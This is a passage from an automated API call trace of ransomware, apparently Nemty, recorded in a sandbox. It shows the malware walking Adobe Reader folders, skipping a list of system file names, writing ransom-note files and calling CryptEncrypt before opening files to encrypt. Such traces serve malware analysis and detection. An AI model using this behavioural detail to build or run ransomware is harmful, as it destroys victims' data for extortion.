hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.336] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aee6e30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1aee6e30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1aee6e30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0173.336] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0173.336] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="UKR", cAlternateFileName="")) returned 1 [0173.336] lstrcmpiW (lpString1="UKR", lpString2=".") returned 1 [0173.336] lstrcmpiW (lpString1="UKR", lpString2="..") returned 1 [0173.336] lstrcmpiW (lpString1="UKR", lpString2="...") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="windows") returned -1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="$RECYCLE.BIN") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="rsa") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="NTDETECT.COM") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="ntldr") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="MSDOS.SYS") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="IO.SYS") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="boot.ini") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="boot.ini") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="AUTOEXEC.BAT") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="ntuser.dat") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="desktop.ini") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="CONFIG.SYS") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="RECYCLER") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="BOOTSECT.BAK") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="bootmgr") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="programdata") returned 1 [0173.337] lstrcmpiW (lpString1="UKR", lpString2="appdata") returned 1 [0173.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0173.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.337] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKR", lpUsedDefaultChar=0x0) returned 3 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0173.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0173.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0173.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0173.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0173.338] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.338] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0173.339] CloseHandle (hObject=0x254) returned 1 [0173.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0173.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0173.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0173.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.340] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.340] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0173.341] CloseHandle (hObject=0x254) returned 1 [0173.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0173.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0173.341] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1af59250, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1af59250, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0173.341] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0173.341] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1af59250, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1af59250, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0173.341] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0173.341] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0173.341] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0173.341] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0173.342] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0173.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0173.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.343] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a6af, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2=".") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="..") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="...") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="windows") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="$RECYCLE.BIN") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="rsa") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="NTDETECT.COM") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="ntldr") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="MSDOS.SYS") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="IO.SYS") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="boot.ini") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="AUTOEXEC.BAT") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="ntuser.dat") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="desktop.ini") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="CONFIG.SYS") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="RECYCLER") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="BOOTSECT.BAK") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="bootmgr") returned 1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="programdata") returned -1 [0173.343] lstrcmpiW (lpString1="license.html", lpString2="appdata") returned 1 [0173.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0173.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0173.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0173.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0173.344] Sleep (dwMilliseconds=0x5) [0173.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1af7f3b0, dwHighDateTime=0x1d561e8)) [0173.348] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1af7f3b0, dwHighDateTime=0x1d561e8)) [0173.348] GetLastError () returned 0xb7 [0173.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.348] GetLastError () returned 0xb7 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.349] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.349] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.349] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0173.349] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="pFJA71ApQfHWGC5AmYBNRB52slt0duox8rZT0LOJY65HavymwBzvNFmJRUEIkFGS\r\nKUiR/v+T2DPvoFKNZ+4UUlAp1PyyuRyQrwC7JoRomSF22jsVzKUo1rLJ6Fkbb1B3\r\n6rE1mkMGnfxiBrL/UTOgW17Op6naIZGitZr4OZXfBahZfEniwa4LkNjJFZH72eFB\r\n5JMt3BqC3dOk19bZhFaJ1F53tRAviIzGdwQiVE+PTYVp92GuyBj/SmQccm2iZYA5\r\nZ5mUvWYDZZJYAPmoh3Nnf7JUzD2xGJeRuGpu1wjbt5aVr79oWMxaHjGnARBkStDs\r\nTLD65rFR1ZbAl65Z9KQMkA==\r\n", pcchString=0x653e5dc) returned 1 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0173.349] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=239279) returned 1 [0173.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.349] SetFilePointer (in: 